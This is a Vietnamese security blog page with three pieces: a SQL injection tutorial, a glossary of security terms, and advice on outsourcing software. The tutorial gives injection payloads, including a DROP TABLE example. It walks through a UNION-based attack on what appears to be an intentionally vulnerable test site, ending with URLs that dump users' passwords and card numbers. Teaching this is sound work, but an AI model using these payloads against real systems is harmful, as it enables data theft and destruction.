SQL injection​ l&agrave; một kỹ thuật cho ph&eacute;p những kẻ tấn c&ocirc;ng lợi dụng lỗ hổng của&nbsp;việc kiểm tra dữ liệu đầu v&agrave;o trong c&aacute;c ứng dụng web v&agrave; c&aacute;c th&ocirc;ng b&aacute;o lỗi của hệ&nbsp;quản trị cơ sở dữ liệu trả về để inject (ti&ecirc;m v&agrave;o) v&agrave; thi h&agrave;nh c&aacute;c c&acirc;u lệnh SQL bất&nbsp;hợp ph&aacute;p.
SQL injection ​c&oacute; thể cho ph&eacute;p những kẻ tấn c&ocirc;ng thực hiện c&aacute;c thao t&aacute;c: delete,&nbsp;insert, update​&hellip; tr&ecirc;n cơ sở dữ liệu của ứng dụng, thậm ch&iacute; l&agrave; server m&agrave; ứng dụng&nbsp;đ&oacute; đang chạy. SQL injection thường được biết đến như l&agrave; một vật trung gian tấn&nbsp;c&ocirc;ng tr&ecirc;n c&aacute;c ứng dụng web c&oacute; dữ liệu được quản l&yacute; bằng c&aacute;c hệ quản trị cơ sở&nbsp;dữ liệu​ quan hệ​ như SQL Server, MySQL, Oracle, PostgreSQL v&agrave; hệ quản trị cơ&nbsp;sở dữ liệu phi quan hệ​ (NoSQL) như: MongoDB, Redis, CouchDB&hellip;
<img style="display: block; margin-left: auto; margin-right: auto;" src="https://blackwind.vn:5443/files/2020/9/29/596c6170-0201-11eb-a4b8-77222073938e-1601349038344.png" alt="SQL-injection-la-gi" width="613" height="189" />
<h2>SQL Injection hoạt động ra sao?</h2>
Ứng dụng th&ocirc;ng thường sẽ nhận dữ liệu đầu v&agrave;o của người d&ugrave;ng: Username v&agrave;&nbsp;Password, d&ugrave;ng n&oacute; l&agrave;m tham số truy vấn xuống cơ sở dữ liệu, kết quả truy vấn trả&nbsp;về cho ph&iacute;a người d&ugrave;ng. Lợi dụng dữ liệu đầu v&agrave;o đ&oacute; kẻ tấn c&ocirc;ng sẽ cố t&igrave;nh nhập&nbsp;Username hoặc Password một c&aacute;ch kh&aacute;c thường để tấn c&ocirc;ng v&agrave;o c&aacute;c hệ quản trị&nbsp;cơ sở dữ liệu.
<img style="display: block; margin-left: auto; margin-right: auto;" src="https://blackwind.vn:5443/files/2020/9/29/8253e090-0201-11eb-a4b8-77222073938e-1601349106969.png" alt="SQL-Injection" width="518" height="260" />
<h2>&nbsp;C&aacute;c dạng lỗi SQL injection cơ bản</h2>
<ul>
<li>
<h4>Kh&ocirc;ng kiểm tra dữ liệu đầu</h4>
</li>
</ul>
C&acirc;u truy vấn b&igrave;nh thường:&nbsp;​SELECT​ *&nbsp;FROM​ users&nbsp;WHERE​ name =&nbsp;&lsquo;a&rsquo;; SQL injection: ​SELECT​ *&nbsp;FROM​ users&nbsp;WHERE​ name =&nbsp;&lsquo;a&rsquo;&nbsp;or​&nbsp;&lsquo;1&rsquo;=&lsquo;1&rsquo;; SQL injection: ​SELECT​ *&nbsp;FROM​ users&nbsp;WHERE​ name =&nbsp;&lsquo;a&rsquo;&nbsp;UNION select col1,&nbsp;col2, col3​; Với c&acirc;u UNION cực kỳ nguy hiểm v&igrave; sẽ l&agrave;m lộ th&ocirc;ng tin rất nhiều với kiểu nối&nbsp;chuổi query n&agrave;y. Bản chất của UNION l&agrave; gộp lại 2 hay nhiều kết quả truy vấn lại với&nbsp;nhau v&agrave; trả về.
<ul>
<li>
<h4>Kh&ocirc;ng kiểm tra k&yacute; tự kết th&uacute;c c&acirc;u truy vấn</h4>
</li>
</ul>
C&acirc;u truy vấn b&igrave;nh thường: ​SELECT​ *&nbsp;FROM​ users&nbsp;WHERE​ name =&nbsp;&lsquo;a&rsquo;; SQL injection :&nbsp;&nbsp;SELECT​ ​*​ ​FROM​ users ​WHERE​ name ​=​&nbsp;​&rsquo;a&rsquo;​;​DROP​ ​TABLE&nbsp;users;
<ul>
<li>
<h4>Xử l&yacute; kh&ocirc;ng đ&uacute;ng kiểu</h4>
</li>
</ul>
C&acirc;u truy vấn b&igrave;nh thường: SELECT​ *&nbsp;FROM​ users&nbsp;WHERE​ id = &rdquo; + a_variable + &ldquo;;&rdquo; a_variable​ mong muốn ở đ&acirc;y l&agrave; một biến kiểu Integer nhưng chuyện g&igrave; nếu biến&nbsp;a_variable ở đ&acirc;y l&agrave;:&nbsp;1;&nbsp;DROP TABLE&nbsp;users&nbsp;​c&acirc;u truy vấn ho&agrave;n chỉnh của ch&uacute;ng ta&nbsp;l&agrave;:&nbsp;SELECT​ *&nbsp;FROM​ data​&nbsp;WHERE​ id=1;&nbsp;DROP​&nbsp;TABLE​&nbsp;users;
<h3>Khai th&aacute;c lỗi SQL Injection tr&ecirc;n trang ​<a href="http://testphp.vulnweb.com/">http://testphp.vulnweb.com/</a></h3>
<ul>
<li>Bước 1: X&aacute;c định lỗi SQL injection</li>
</ul>
<img style="display: block; margin-left: auto; margin-right: auto;" src="https://blackwind.vn:5443/files/2020/9/29/f935fd60-0201-11eb-a4b8-77222073938e-1601349306422.png" alt="SQL-Injection" width="584" height="487" />
Chọn&nbsp;Browse Categories&nbsp;-&gt; ​chọn&nbsp;Posters
<img style="display: block; margin-left: auto; margin-right: auto;" src="https://blackwind.vn:5443/files/2020/9/29/24a75bb0-0202-11eb-a4b8-77222073938e-1601349379308.png" alt="SQL-Injection" width="727" height="526" />
L&uacute;c n&agrave;y đường dẫn ta sẽ l&agrave;:
<a href="http://testphp.vulnweb.com/listproducts.php?cat=1">http://testphp.vulnweb.com/listproducts.php?cat=1</a>
Th&ecirc;m một k&yacute; tự bất kỳ v&agrave;o cuối đường link tr&ecirc;n, với mục đ&iacute;ch l&agrave; xem Website xử&nbsp;l&yacute; như thế n&agrave;o? Ch&uacute;ng ta sẽ th&ecirc;m k&iacute; tự:&nbsp;`
<a href="http://testphp.vulnweb.com/listproducts.php?cat=1&#96;">http://testphp.vulnweb.com/listproducts.php?cat=1`</a>
M&agrave;n h&igrave;nh lỗi sẽ xuất hiện
<img src="https://blackwind.vn:5443/files/2020/9/29/94eea4f0-0202-11eb-a4b8-77222073938e-1601349567680.png" alt="SQL-injection" width="734" height="580" />
Điều n&agrave;y chứng tỏ Website n&agrave;y kh&ocirc;ng lọc dữ liệu đầu v&agrave;o m&agrave; cố gắng t&igrave;m một&nbsp;category n&agrave;o đ&oacute; c&oacute; ID = 1` n&ecirc;n trả về lỗi kh&ocirc;ng t&igrave;m thấy
Kết luận:​ Website c&oacute; thể bị khai th&aacute;c lỗi SQL Injection
<ul>
<li>
<h4>Bước 2: T&igrave;m số cột trong bảng c&oacute; thể bị khai th&aacute;c</h4>
</li>
</ul>
Sử dụng c&acirc;u lệnh Order By number_col​ để x&aacute;c định số cột của một bảng n&agrave;o đ&oacute;.
G&otilde; v&agrave;o tr&igrave;nh duyệt lần lượt như sau:
<a href="http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+1">http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+1</a>
<a href="http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+2">http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+2</a>
&hellip;
<a href="http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+12">http://testphp.vulnweb.com/listproducts.php?cat=1+order+by+12</a>
<img style="display: block; margin-left: auto; margin-right: auto;" src="https://blackwind.vn:5443/files/2020/9/29/bec788f0-0202-11eb-a4b8-77222073938e-1601349637888.png" alt="sql" width="665" height="236" />
Khi số lượng đủ lớn(12) th&igrave; lỗi xảy ra =&gt;điều n&agrave;y cho thấy bảng ListProducts n&agrave;y&nbsp;c&oacute; tối đa 11 cột m&agrave; th&ocirc;i.
Sử dụng c&acirc;u lệnh&nbsp;UNION​ để t&igrave;m xem những th&ocirc;ng tin của cột n&agrave;o được hiển thị&nbsp;v&agrave; c&oacute; thể bị khai th&aacute;c g&otilde; v&agrave;o tr&igrave;nh duyệt như sau:<img style="display: block; margin-left: auto; margin-right: auto;" src="https://blackwind.vn:5443/files/2020/9/29/cf91c880-0202-11eb-a4b8-77222073938e-1601349666056.png" alt="sql" width="681" height="50" />
C&acirc;u lệnh tr&ecirc;n sẽ gọp dữ liệu 2 c&acirc;u select lại với nhau gồm: ListProducts​ c&oacute; cat=1&nbsp;v&agrave; một dữ liệu mẫu(vuln1, vuln2, vuln3&hellip; vuln11) kết quả sẽ được hiển thị l&ecirc;n&nbsp;như sau:<img style="display: block; margin-left: auto; margin-right: auto;" src="https://blackwind.vn:5443/files/2020/9/29/e533a7d0-0202-11eb-a4b8-77222073938e-1601349702350.png" alt="sql" width="695" height="628" />
Ch&uacute;ng ta thấy cột 2,7,9 được d&ugrave;ng để hiển thị th&ocirc;ng tin l&ecirc;n Web vậy n&oacute; c&oacute;&nbsp;thể bị khai th&aacute;c SQL injection. Ngo&agrave;i ra ta thay đổi Cat = -1 để thấy cột vuln11​ cũng được hiển thị l&ecirc;n:
<img style="display: block; margin-left: auto; margin-right: auto;" src="https://blackwind.vn:5443/files/2020/9/29/0096eaa0-0203-11eb-a4b8-77222073938e-1601349748298.png" alt="sql" width="637" height="47" />
<img style="display: block; margin-left: auto; margin-right: auto;" src="https://blackwind.vn:5443/files/2020/9/29/0c9d6090-0203-11eb-a4b8-77222073938e-1601349768473.png" alt="sql" width="693" height="536" />
Kết luận:
●&nbsp;<a href="http://testphp.vulnweb.com/">http://testphp.vulnweb.com</a>&nbsp;c&oacute; thể bị khai th&aacute;c ● Bảng list products c&oacute; thể bị khai th&aacute;c. ● Bảng list products c&oacute; 11 cột ● Cột 2,7,9,11 c&oacute; thể bị SQL Injection
<ul>
<li>
<h4>Bước 3:​ Khai th&aacute;c th&ecirc;m th&ocirc;ng tin của hệ quản trị cơ sở dữ liệu</h4>
</li>
</ul>
G&otilde; lệnh v&agrave;o tr&igrave;nh duyệt:
<a href="http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+%27vuln1%27,@@version,%27vuln3%27,%27vuln4%27,%27vuln5%27,%27vuln6%27,%27vuln7%27,%27vuln8%27,%27vuln9%27,%27vuln10%27,%27vuln11%27">http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+&rsquo;vuln1&prime;,@@version,&rsquo;vuln3&prime;,&rsquo;vuln4&prime;,&rsquo;vuln5&prime;,&rsquo;vuln6&prime;,&rsquo;vuln7&prime;,&rsquo;vuln8&prime;,&rsquo;vuln9&prime;,&rsquo;vuln10&prime;,&rsquo;vuln11&prime;</a>
Lệnh tr&ecirc;n sử dụng&nbsp;@@version&nbsp;​để x&aacute;c định ch&iacute;nh x&aacute;c phi&ecirc;n bản hiện tại của hệ&nbsp;quản trị cơ sở dữ liệu m&agrave; website đang sử dụng, sử dụng cột thứ 2 để hiển thị:
<img style="display: block; margin-left: auto; margin-right: auto;" src="https://blackwind.vn:5443/files/2020/9/29/7eb17a90-0203-11eb-a4b8-77222073938e-1601349959866.png" alt="sql" width="445" height="200" />
Qu&aacute; r&otilde; r&agrave;ng đ&acirc;y l&agrave; phi&ecirc;n bảng&nbsp;MySQL 5.1.73​&nbsp;tr&ecirc;n hệ điều h&agrave;nh&nbsp;Ubuntu&nbsp;10.04, ​ngo&agrave;i ra ta c&oacute; thể sử dụng tương tự với một số th&ocirc;ng tin sau:<img style="display: block; margin-left: auto; margin-right: auto;" src="https://blackwind.vn:5443/files/2020/9/29/5dccad50-020c-11eb-a4b8-77222073938e-1601353770150.png" alt="sql" width="685" height="437" />
<ul>
<li>X&aacute;c định t&ecirc;n Database(​acuart​):</li>
</ul>
<a href="http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+%27vuln1%27,database(),%27vul">http://testphp.vulnweb.com/listproducts.php?cat=1+union+select+&rsquo;vuln1&prime;,database(),&rsquo;vuln3&prime;,&rsquo;vuln4&prime;,&rsquo;vuln5&prime;,&rsquo;vuln6&prime;,&rsquo;vuln7&prime;,&rsquo;vuln8&prime;,&rsquo;vuln9&prime;,&rsquo;vuln10&prime;,&rsquo;vuln11&prime; 0%27,%27vuln11%27</a>
<ul>
<li>X&aacute;c định tất cả c&aacute;c bảng trong Database:</li>
</ul>
<a href="http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,table_name,3,4,5,6,7,8,9,10,11+from+information_schema.tables+where+table_schema=database()--+">http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,table_name,3,4,5,6,7,8,9,10,11+from+information_schema.tables+where+table_schema=database()&ndash;+</a>
<img style="display: block; margin-left: auto; margin-right: auto;" src="https://blackwind.vn:5443/files/2020/9/29/82163a50-020c-11eb-a4b8-77222073938e-1601353831030.png" alt="sql" width="345" height="677" />
<ul>
<li>X&aacute;c định tất cả c&aacute;c bảng trong Database(dạng r&uacute;t gọn):</li>
</ul>
<a href="http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10,11+from+information_schema.tables+where+table_schema=database()--+">http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,group_concat(table_name),3,4,5,6,7,8,9,10,11+from+information_schema.tables+where+table_schema=database()&ndash;+</a>
<img style="display: block; margin-left: auto; margin-right: auto;" src="https://blackwind.vn:5443/files/2020/9/29/98e21ab0-020c-11eb-a4b8-77222073938e-1601353869276.png" alt="sql" width="544" height="316" />
Trong tất cả c&aacute;c bảng th&igrave; ta quan t&acirc;m nhất bảng&nbsp;Users​&nbsp;chứa t&agrave;i khoản đăng nhập, ta sẽ&nbsp;xem tiếp ch&uacute;ng sẽ gồm những cột n&agrave;o?
<a href="http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,group_concat(colu">http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,group_concat(column_name),3,4,5,6,7,8,9,10,11+from+information_schema.columns+where+table_schem​ ​ a=database() and table_name=&rsquo;users&rsquo;&ndash;+</a>
Trong bảng&nbsp;Users​&nbsp;n&agrave;y c&oacute; 8 cột:&nbsp;uname, pass, cc, address, email, name, phone, cart&nbsp;ch&uacute;ng ta d&ugrave;ng tiếp c&acirc;u l&ecirc;nh tiếp theo để lấy to&agrave;n bộ dữ liệu:
<a href="http://testphp.vulnweb.com/listproducts.php?cat=-1+union+all+select+1,group_concat(%27user:%27,uname,%27----pass:%27,pass,%27-----cc:%27,cc,%27------email:%27,email),3,4,5,6,7,8,9,10,11+from+users--+">http://testphp.vulnweb.com/listproducts.php?cat=-1+union+all+select+1,group_concat(&lsquo;user:&rsquo;,uname,&rsquo;&mdash;-pass:&rsquo;,pass,&rsquo;&mdash;&ndash;cc:&rsquo;,cc,&rsquo;&mdash;&mdash;email:&rsquo;,email),3,4,5,6,7,8,9,10,11+from+users&ndash;+</a>

SQL injection​ là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject 

SQL injection là gì?

Tìm hiểu SQL injection là gì? SQL Injection hoạt động ra sao?

Khi nhắc đến hacker c&oacute; lẽ hầu hết ch&uacute;ng ta đều li&ecirc;n tưởng đến c&aacute;c trang web bị tấn c&ocirc;ng v&agrave; thay đổi giao diện, việc sử dụng tr&aacute;i ph&eacute;p thẻ t&iacute;n dụng hay h&igrave;nh ảnh của một nh&oacute;m người mang mặt nạ l&agrave; c&aacute;c th&agrave;nh vi&ecirc;n thuộc nh&oacute;m hacker Anonymous, xa hơn nữa l&agrave; những th&ocirc;ng tin mật bị đ&aacute;nh cắp v&agrave; đăng tải tr&ecirc;n trang web Wikileak m&agrave; chương tr&igrave;nh truyền h&igrave;nh đ&atilde; đưa tin. Như vậy, một c&aacute;ch kh&ocirc;ng ch&iacute;nh thức mọi người đều cho rằng hacker l&agrave; những kẻ xấu chuy&ecirc;n ph&aacute; hoại v&agrave; ăn trộm định danh, th&ocirc;ng tin b&iacute; mật tr&ecirc;n mạng internet, v&agrave; điều n&agrave;y ho&agrave;n to&agrave;n sai đặc biệt l&agrave; trong lĩnh vực Pentest hay c&ograve;n được gọi l&agrave; kiểm thử x&acirc;m nhập hệ thống.
<h3 style="text-align: justify;">C&aacute;c Thuật Ngữ Về An To&agrave;n Th&ocirc;ng Tin</h3>
<ul style="text-align: justify;">
<li>Để c&oacute; thể nhận thức được c&aacute;c mối nguy hiểm ch&uacute;ng ta cần hiểu một số thuật ngữ sau trong lĩnh vực an to&agrave;n th&ocirc;ng tin, đ&oacute; l&agrave; threat, remote exploit, local exploit, vulnerability, target of evaluation, attack.</li>
<li>Threat l&agrave; c&aacute;c mối đe dọa đối với sự an to&agrave;n của th&ocirc;ng tin bao gồm hacker, virus, sự cố m&aacute;y t&iacute;nh như hư hỏng phần cứng, lỗi phần mềm cho đến những nguy&ecirc;n nh&acirc;n do thi&ecirc;n tai, hỏa hoạn cũng l&agrave; c&aacute;c threat.</li>
<li>Vulnerability l&agrave; những điểm yếu về bảo mật của hệ thống như thiếu c&aacute;c bản v&aacute; lỗi bảo mật, sử dụng ch&iacute;nh s&aacute;ch mật khẩu yếu &hellip; đều l&agrave; c&aacute;c điểm nhạy cảm c&oacute; khả năng bị c&aacute;c threat khai th&aacute;c g&acirc;y mất an to&agrave;n th&ocirc;ng tin. Exploit l&agrave; qu&aacute; tr&igrave;nh khai th&aacute;c c&aacute;c điểm yếu bảo mật để đ&aacute;nh cắp th&ocirc;ng tin, tiến tr&igrave;nh n&agrave;y c&oacute; thể được thực hiện bởi những t&aacute;c nh&acirc;n b&ecirc;n trong hay b&ecirc;n ngo&agrave;i hệ thống.</li>
<li>Remote exploit l&agrave; qu&aacute; tr&igrave;nh khai th&aacute;c c&aacute;c lổ hỗng bảo mật từ xa ở tr&ecirc;n m&aacute;y t&iacute;nh kh&aacute;c hay từ internet.</li>
<li>Local exploit l&agrave; qu&aacute; tr&igrave;nh khai th&aacute;c những điểm yếu bảo mật ngay tr&ecirc;n hệ thống để tiến h&agrave;nh leo thang n&acirc;ng quyền hạn của một t&agrave;i khoản, hay bẻ kh&oacute;a mật khẩu của ứng dụng.</li>
<li>Target of evaluation l&agrave; những mục ti&ecirc;u c&oacute; khả năng chứa c&aacute;c lổ hỗng bảo mật c&oacute; thể bị tấn c&ocirc;ng. C&aacute;c mục ti&ecirc;u nay c&oacute; thể l&agrave; một m&aacute;y chủ, m&aacute;y trạm,những ứng dụng hay c&aacute;c trang web.</li>
<li>Attack l&agrave; thuật ngữ chỉ tiến tr&igrave;nh tấn c&ocirc;ng v&agrave;o mục ti&ecirc;u.</li>
</ul>
<img style="display: block; margin-left: auto; margin-right: auto;" src="https://blackwind.vn:5443/files/2020/9/28/dc4051a0-017b-11eb-a4b8-77222073938e-1601291705276.jpeg" alt="an-toan-cong-nghe-thong-tin" width="800" height="618" />
&gt;&gt;&gt; Xem th&ecirc;m: <a href="https://blackwind.vn/tin-tuc/hacker-va-hanh-dong-cua-ethical-hacker-20013">Hacker v&agrave; H&agrave;nh Động Của Ethical Hacker l&agrave; g&igrave;?</a>
<h3 style="text-align: justify;">Những Kỹ Thuật Tấn C&ocirc;ng</h3>
C&oacute; nhiều c&ocirc;ng cụ v&agrave; phương ph&aacute;p để t&igrave;m kiếm c&aacute;c lổ hỗng bảo mật, tiến h&agrave;nh khai th&aacute;c, tấn c&ocirc;ng hệ thống. Những kỹ thuật n&agrave;y bao gồm trojan, backdoor, sniffer, rootkit, khai th&aacute;c lỗi tr&agrave;n bộ đệm Buffer Overflow hay SQL Injection &hellip; m&agrave; ch&uacute;ng ta sẽ thảo luận trong c&aacute;c phần sau. Th&ocirc;ng thường hacker sẽ tập trung t&igrave;m kiếm c&aacute;c lổ hỗng bảo mật của những th&agrave;nh phần :
<ul style="text-align: justify;">
<li>Hệ Điều H&agrave;nh : Nhiều hệ thống được c&agrave;i đặt v&agrave; cấu h&igrave;nh mặc định, nghĩa l&agrave; kh&ocirc;ng c&oacute; sự thay đổi hay t&ugrave;y biến để n&acirc;ng cao t&iacute;nh an to&agrave;n. Ngo&agrave;i ra, những m&aacute;y t&iacute;nh kh&ocirc;ng được cập nhật c&aacute;c bản v&aacute; hay c&agrave;i đặt c&aacute;c chương tr&igrave;nh sữa lỗi bảo mật cũng l&agrave; mồi ngon của c&aacute;c kẻ tấn c&ocirc;ng.</li>
<li>Ứng Dụng : Mỗi m&aacute;y t&iacute;nh c&oacute; nhiều ứng dụng được c&agrave;i đặt, nếu những chương tr&igrave;nh n&agrave;y c&oacute; lổ hỗng bảo mật cũng c&oacute; thể bị hacker tấn c&ocirc;ng chiếm quyền điều khiển từ xa.</li>
<li>Shrink-wrap Code : Đ&acirc;y l&agrave; c&aacute;c th&agrave;nh phần mở rộng của ứng dụng m&agrave; nhiều người d&ugrave;ng kh&ocirc;ng hề hay biết, nhưng hacker sẽ biết rất r&otilde; c&aacute;c th&agrave;nh phần n&agrave;y v&iacute; dụ như chức năng macro trong ứng dụng MS Word cho ph&eacute;p c&aacute;c hacker chạy những chương tr&igrave;nh độc hại trong ứng dụng xử l&yacute; văn bản n&agrave;y. Hay c&aacute;c lỗi Active X cho ph&eacute;p hacker chạy lệnh từ xa th&ocirc;ng qua tr&igrave;nh duyệt của nạn nh&acirc;n.</li>
<li>Lỗi Cấu H&igrave;nh : Việc cấu h&igrave;nh sai l&agrave; một trong những nguy&ecirc;n nh&acirc;n ch&iacute;nh khiến hệ thống bị tấn c&ocirc;ng, v&iacute; dụ c&aacute;c lỗi li&ecirc;n quan đến việc g&aacute;n quyền kh&ocirc;ng chặt chẽ c&oacute; thể cho ph&eacute;p hacker hay người d&ugrave;ng bất k&igrave; sao ch&eacute;p v&agrave; chạy những chương tr&igrave;nh tr&aacute;i ph&eacute;p.</li>
</ul>
<img src="https://blackwind.vn:5443/files/2020/9/28/6d0d2cf0-017a-11eb-a4b8-77222073938e-1601291089215.png" alt="an-toan-cong-nghe-thong-tin" width="800" height="460" />
B&ecirc;n cạnh c&aacute;c kỹ thuật tr&ecirc;n, những cuộc tấn c&ocirc;ng được chia l&agrave;m hai trạng th&aacute;i hoạt động l&agrave; passvie (bị động) v&agrave; active (chủ động). Những cuộc tấn c&ocirc;ng bị động thường kh&oacute; d&ograve; t&igrave;m hơn v&igrave; kh&ocirc;ng tương t&aacute;c trực tiếp v&agrave;o hệ thống hay đường truyền m&agrave; chỉ &acirc;m thầm thu thập c&aacute;c th&ocirc;ng tin, dữ liệu. Nghe l&eacute;n hay sniffing l&agrave; dạng tấn c&ocirc;ng thuộc loại n&agrave;y, những hacker nghe l&eacute;n dữ liệu được gọi l&agrave; sniffer v&agrave; thường tập trung v&agrave;o t&iacute;nh ri&ecirc;ng tư của th&ocirc;ng tin.
Trong khi đ&oacute; dạng tấn c&ocirc;ng chủ động c&oacute; sự tương t&aacute;c trực tiếp v&agrave;o hệ thống x&aacute;c thực hay đường truyền l&agrave;m thay đổi t&iacute;nh to&agrave;n vẹn, ảnh hưởng đến khả năng đ&aacute;p ứng của dữ liệu. Những dạng tấn c&ocirc;ng thuộc loại n&agrave;y như DDoS, Scan Port &hellip;
B&ecirc;n cạnh sự ph&acirc;n loại tấn c&ocirc;ng dựa tr&ecirc;n trạng th&aacute;i hoạt động th&igrave; ch&uacute;ng ta c&ograve;n x&aacute;c định ch&uacute;ng theo vị tr&iacute; địa l&yacute; l&agrave; ở ph&iacute;a b&ecirc;n trong hay b&ecirc;n ngo&agrave;i hệ thống tương ứng với c&aacute;c thuật ngữ l&agrave; insise hay outside. Những kẻ tấn c&ocirc;ng inside l&agrave; c&aacute;c insider thường l&agrave; nh&acirc;n vi&ecirc;n hay những người c&oacute; mối li&ecirc;n quan trực tiếp đối với tổ chức, v&igrave; vậy t&aacute;c động của dạng tấn c&ocirc;ng n&agrave;y rất lớn v&agrave; nguy hiểm. Theo một số th&ocirc;ng k&ecirc; th&igrave; c&oacute; tới 80 % t&aacute;c nh&acirc;n g&acirc;y mất m&aacute;t th&ocirc;ng tin l&agrave; những th&agrave;nh vi&ecirc;n b&ecirc;n trong của hệ thống. Tuy nhi&ecirc;n, những th&agrave;nh vi&ecirc;n b&ecirc;n ngo&agrave;i lại c&oacute; những mối nguy hiểm kh&aacute;c v&igrave; họ thường đ&ocirc;ng đảo hơn, c&oacute; tr&igrave;nh độ kỹ thuật cao v&agrave; mục ti&ecirc;u tấn c&ocirc;ng của họ thường nhắm v&agrave;o những hệ thống &iacute;t được bảo vệ hay c&oacute; sự giao tiếp với m&ocirc;i trường c&ocirc;ng cộng (c&ograve;n được gọi l&agrave; m&ocirc;i trường kh&ocirc;ng tin cậy) như c&aacute;c m&aacute;y chủ cơ sở dữ liệu, trang web.
&nbsp;

Chúng ta cần hiểu một số thuật ngữ sau trong lĩnh vực an toàn thông tin, đó là threat, remote exploit, local exploit, vulnerability, target of evaluation, attack để có thể nhận thức được các mối nguy 

Các Thuật Ngữ Về An Toàn Thông Tin

Chúng ta cần hiểu một số thuật ngữ sau trong lĩnh vực an toàn thông tin, đó là threat, remote exploit, local exploit, vulnerability, target of evaluation, attack để có thể hiểu được các mối nguy hiểm 

Việc ứng dụng những th&agrave;nh tựu của CNTT đ&atilde; trở n&ecirc;n phổ biến trong mỗi doanh nghiệp. Tuy nhi&ecirc;n, chi ph&iacute; chạy theo c&ocirc;ng nghệ m&agrave; doanh nghiệp phải bỏ ra v&ocirc; c&ugrave;ng lớn. V&igrave; vậy t&igrave;m đến những c&ocirc;ng ty nhận gia c&ocirc;ng phần mềm l&agrave; giải ph&aacute;p v&ocirc; c&ugrave;ng kh&ocirc;n ngoan khi c&oacute; thể gi&uacute;p doanh nghiệp tiết kiệm được chi ph&iacute; cũng như tăng được năng suất lao động l&ecirc;n gấp nhiều lần. Nhưng b&ecirc;n cạnh đ&oacute; c&aacute;c doanh nghiệp cũng cần lưu &yacute; những điểm sau để t&igrave;m đ&uacute;ng c&ocirc;ng ty outsource hiệu quả.
<h2 style="text-align: justify;">Những lưu &yacute; khi thu&ecirc; outsourcing?</h2>
<ul style="text-align: justify;">
<li>
<h3>Rủi ro bảo mật:</h3>
</li>
</ul>
Duy tr&igrave; quyền ri&ecirc;ng tư trở th&agrave;nh một kinh nghiệm khắc phục sự cố cho c&aacute;c doanh nghiệp v&igrave; ng&agrave;y nay, dữ liệu trở th&agrave;nh một t&agrave;i sản mới. Việc giao dữ liệu kinh doanh cho nh&oacute;m gia c&ocirc;ng phần mềm b&ecirc;n thứ 3 c&oacute; thể khiến c&aacute;c doanh nghiệp gặp rủi ro khi bị r&ograve; rỉ dữ liệu, đặc biệt l&agrave; r&ograve; rỉ th&ocirc;ng tin b&iacute; mật v&agrave; nhạy cảm, điều n&agrave;y cảnh b&aacute;o một vấn đề li&ecirc;n quan.
V&igrave; vậy, việc bảo mật cần được coi trọng khi doanh nghiệp c&oacute; kế hoạch thu&ecirc; ngo&agrave;i một dự &aacute;n phần mềm. Lựa chọn đối t&aacute;c uy t&iacute;n c&oacute; hiểu biết s&acirc;u rộng về bảo mật th&ocirc;ng tin v&agrave; &aacute;p dụng c&aacute;c biện ph&aacute;p cần thiết để đảm bảo bảo vệ dữ liệu của kh&aacute;ch h&agrave;ng. Việc tu&acirc;n thủ bảo mật dữ liệu cũng cần được thảo luận kỹ lưỡng.
ISO 27001 l&agrave; chứng chỉ d&agrave;nh cho hệ thống quản l&yacute; an to&agrave;n th&ocirc;ng tin. Doanh nghiệp c&oacute; thể chọn lọc c&aacute;c đối t&aacute;c c&oacute; chứng chỉ để ngăn ngừa khả năng xảy ra rủi ro r&ograve; rỉ dữ liệu.
<img style="display: block; margin-left: auto; margin-right: auto;" src="https://blackwind.vn:5443/files/2020/9/25/73b98ab0-ff1f-11ea-a4b8-77222073938e-1601032113883.jpeg" alt="luu-y-outsource" width="500" height="333" />
<ul style="text-align: justify;">
<li>
<h3>Chất lượng thất vọng</h3>
</li>
</ul>
Tiết kiệm chi ph&iacute; c&oacute; thể l&agrave; một c&aacute;i bẫy v&igrave; n&oacute; l&agrave;m giảm chất lượng. Cắt giảm chi ph&iacute; l&agrave; một lợi thế đ&aacute;ng kể của việc khuyến kh&iacute;ch doanh nghiệp &aacute;p dụng phương ph&aacute;p n&agrave;y, tuy nhi&ecirc;n, việc chọn một nh&agrave; cung cấp b&aacute;o gi&aacute; rẻ c&oacute; thể khiến doanh nghiệp thất vọng về chất lượng.
B&ecirc;n cạnh đ&oacute;, việc ủy ​​quyền quản l&yacute; nh&acirc;n sự cho một nh&agrave; cung cấp phần mềm khiến c&aacute;c c&ocirc;ng ty kh&oacute; c&oacute; thể nh&igrave;n thấy đầy đủ quy tr&igrave;nh cũng như giải quyết c&aacute;c vấn đề, cung cấp phản hồi v&agrave; hướng dẫn để tiến tới dự &aacute;n.
Một b&aacute;o gi&aacute; phải chăng c&oacute; thể hấp dẫn nhưng thời gian v&agrave; chất lượng quan trọng hơn nhiều, đặc biệt l&agrave; đối với c&aacute;c sản phẩm c&ocirc;ng nghệ. V&igrave; vậy, ch&uacute;ng ta h&atilde;y lấy chất lượng l&agrave;m ưu ti&ecirc;n h&agrave;ng đầu, một đội ngũ chất lượng cao c&oacute; thể gi&uacute;p doanh nghiệp tiết kiệm chi ph&iacute;, thời gian v&agrave; c&ocirc;ng sức hơn nữa.
<ul style="text-align: justify;">
<li>
<h3>Th&aacute;ch thức giao tiếp</h3>
</li>
</ul>
L&agrave;m việc với nh&oacute;m CNTT ở một địa điểm xa khiến c&aacute;c doanh nghiệp phải đối mặt với những kh&aacute;c biệt về vị tr&iacute;, thời gian, ng&ocirc;n ngữ v&agrave; văn h&oacute;a, điều n&agrave;y tạo ra những th&aacute;ch thức trong việc truyền đạt sai th&ocirc;ng tin.
